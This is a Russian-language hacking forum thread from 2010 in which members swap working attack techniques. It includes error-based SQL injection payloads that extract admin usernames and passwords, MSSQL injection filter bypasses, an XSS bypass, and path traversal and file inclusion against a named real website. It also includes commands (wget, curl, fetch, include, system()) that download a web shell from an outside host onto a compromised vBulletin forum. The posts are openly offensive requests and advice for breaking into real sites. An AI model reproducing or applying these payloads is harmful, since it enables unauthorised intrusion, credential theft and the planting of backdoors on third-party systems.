Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Читать форум, статей куча, и не флудить в теме.
    Если читать не умеешь, а сайт нужен, дать денег кому-нить, кто сломает. Всё просто
     
  2. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Тема с выводом инфы через ошибки такая забавная.

    Раз:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+concat_ws(0x3a,user(),version())+from+users+LIMIT+0,1),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Error 1062Duplicate entry 'user@siteserv:5.1.29-rc-log1' for key 'group_key'
    Два:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+concat_ws(0x3a,user,password)+from+users+LIMIT+0,1),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Item not found
    //WTF? Поле password точно есть.

    Три:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+user+from+users+LIMIT+0,1),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Error 1062Duplicate entry 'admin1' for key 'group_key'
    Четыре:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+password+from+users+LIMIT+0,1),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Item not found
    //WTF

    Пять:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+password+from+users+WHERE+user='admin'),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Item not found
    //WTF

    Шесть:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+substring(password,1,5)+from+users+LIMIT+0,1),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Error 1062Duplicate entry 'mypas1' for key 'group_key'
    В итоге работает такой костыль:
    PHP:
    view.php?id=(select+1+from+(select+count(0),concat((select+concat_ws(user,substring(password,1,300))+from+users+LIMIT+0,1),floor(rand(0)*3))+from+information_schema.tables+group+by+2+limit+1,1)a)
    PHP:
    Error 1062Duplicate entry 'admin:mypassword1' for key 'group_key'

    И таки откуда такая проблема и как ее обойти? Substring - не выход, я считаю.
     
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
  4. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Qwazar
    Оно.
    Кстати, как показала практика, необязательно резать строку, достаточно ее просто прогнать через эти функции в стиле substr(column,1,350). Ограничение будет, но уже меньше. Причем число 350 получается как некая константа минус длина имен колонок в подзапросе(или вроде того). Надо дальше копать.
    Cрабатывает.

    Не срабатывает.

    Срабатывает.
     
  5. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Такой вопрос,
    как залить шелл = \
    vb 4.0.2
    Есть доступ к админке, добавил модуль в faq_complete с содержимым
    OC там Linux
    Пишу в адресной строке:
    http://forum.site.ru/faq.php?cmd=ls
    Вижу файлы и папки корня)
    Делаю такой запрос в адресной строке:
    forum.site.ru/faq.php?cmd=wget www.sitesshelom.ru/shell.php
    Долго думает ) и потом вылазит 404 not found, вообщем шелл не заливается = \
    подскажите как залить еще можно = \
     
  6. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    curl --output /kuda/zalivaem/shell.php www.sitesshelom.ru/shell.php
    fetch -o /kuda/zalivaem/shell.php www.sitesshelom.ru/shell.php
    wget -o /kuda/zalivaem/shell.php www.sitesshelom.ru/shell.php
    get www.sitesshelom.ru/shell.php > /kuda/zalivaem/shell.php

    если allow_url_include On - include("http://www.sitesshelom.ru/shell.php");

    copy('http://www.sitesshelom.ru/shell.php','/kuda/zalivaem/shell.php');
     
    1 person likes this.
  7. DrakonHaSh

    DrakonHaSh Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    118
    Likes Received:
    29
    Reputations:
    24
    можно ли раскрутить следующий инклуд:
    http://www.petshopdamigos.gr/index.php?action=xyz
    =>
    Warning: require(pages/action_xyz.php) [function.require]: failed to open stream: No such file or directory in E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\index.php on line 408
     
  8. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    если бы опция magic quotes не была включена, то

    PHP:
    http://www.petshopdamigos.gr/index.php?action=/../../../../../../../c:boot.ini%00
     
    1 person likes this.
  9. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Code:
    http://www.petshopdamigos.gr/index.php?action=/../../index.php.........................................................................................................................................................................................
    
     
    4 people like this.
  10. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    а не можно заxeк‎сить?
     
    _________________________
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    выше способ дали рабочий
     
  12. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    кстати в поле поиска пасивка.
    чтоб обойти mg юзаем асции
    <script>alert(String.fromCharCode(88,83,83))</script>
    ps http://forum.xakep.ru/m_1298634/tm.htm - понрвилось
     
    #12572 Strilo4ka, 27 Apr 2010
    Last edited: 27 Apr 2010
  13. DrakonHaSh

    DrakonHaSh Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    118
    Likes Received:
    29
    Reputations:
    24
    попугай, wildshaman, Strilo4ka спасибо за помощь и советы


    копаю дальше
    http://www.petshopdamigos.gr/index.php?action=/../../../../../../inetpub/vhosts/petshopdamigos.gr/httpdocs/admin/info - phpinfo()

    есть
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\index.php
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\pages\config.php
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\pages\functions.php
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin\index.php
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin\config.php
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin\functions.php
    E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin\info.php
    но текст их посмотреть нельзя, только исполнение через require()

    http://www.petshopdamigos.gr/test - basic авторизация, ни .htaccess ни .htpasswd там нет, да и сервер там Microsoft-IIS/6.0

    доступ к соседям закрыт - Permission denied

    sql inj вроде как нигде нет

    через http://www.petshopdamigos.gr/index.php?action=05 можно попасть на форму, которая через mail() будет слать письмо

    http://www.petshopdamigos.gr/index.php?action=09 ссылок на которую ниоткуда нет выдает:
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\pages\action_09.php on line 9


    есть идеи с какой стороны еще можно залезть ?
     
    #12573 DrakonHaSh, 27 Apr 2010
    Last edited: 27 Apr 2010
  14. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    не выводит таблицы ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    в чем может быть проблема?

    зато выводит колонки
    ID=1+OR+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS)--
     
  15. DrakonHaSh

    DrakonHaSh Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    118
    Likes Received:
    29
    Reputations:
    24
    возможно фильтр на TABLE_NAME, попробуй перевести TABLE_NAME в hex или char
    или фильтр на INFORMATIO N_SCHEMA.TABLES - тоже обходится, но как не помню, пусть более просвещенные подскажут ;)
     
    #12575 DrakonHaSh, 27 Apr 2010
    Last edited: 28 Apr 2010
  16. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    операторы нельзя переводить в hеx или char
     
  17. DrakonHaSh

    DrakonHaSh Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    118
    Likes Received:
    29
    Reputations:
    24
    ой, сорри, ступил :(
     
    #12577 DrakonHaSh, 28 Apr 2010
    Last edited: 28 Apr 2010
  18. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    странно... запрос обрабатывается "нормально" бех вывода ошибок
    запрос
    ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES)--

    выводит пустую страницу без новостей, и ошибок
     
    #12578 pinch, 28 Apr 2010
    Last edited: 28 Apr 2010
  19. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    так попробуй
    +or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+1+table_name+from+information_schema.tables+order+by+table_name)--
    иле так..
    ID=convert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--
     
    #12579 Дирижабль, 28 Apr 2010
    Last edited: 28 Apr 2010
  20. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    хелп) сос))

    Вообщем пытаюсь залить шелл через админку вб 4.0.2
    Вообщем подробно не буду...
    в модуль впихиваю такой код
    system("wget -o /home/www/сайт.by/forum/customavatars/inbex2.php http://сайт.narod.ru/wso2.php");
    Захожу на страницу forum.site.ru/faq.php
    Думает,думает, и потом вылазит 404 not found
    Далее иду по адресу
    forum.сайт.by/customavatars/inbex2.php
    и тупо белая страница
    пытаюсь проделать туже функцию только меняю название шелла которое будет на серваке
    и иногда показывает например по адресу
    forum.сайт.by/customavatars/inbex3.php такую хрень = \ :
    Code:
    --2010-04-27 20:25:52-- http://сайт.narod.ru/wso2.php Resolving сайтnarod.ru... 213.180.199.44 Connecting to сайт.narod.ru|213.180.199.44|:80...
    и больше ничего = \
    кто знает в чем проблема?
    почему шелл не заливается??? :confused: :confused: :confused:
     
Thread Status:
Not open for further replies.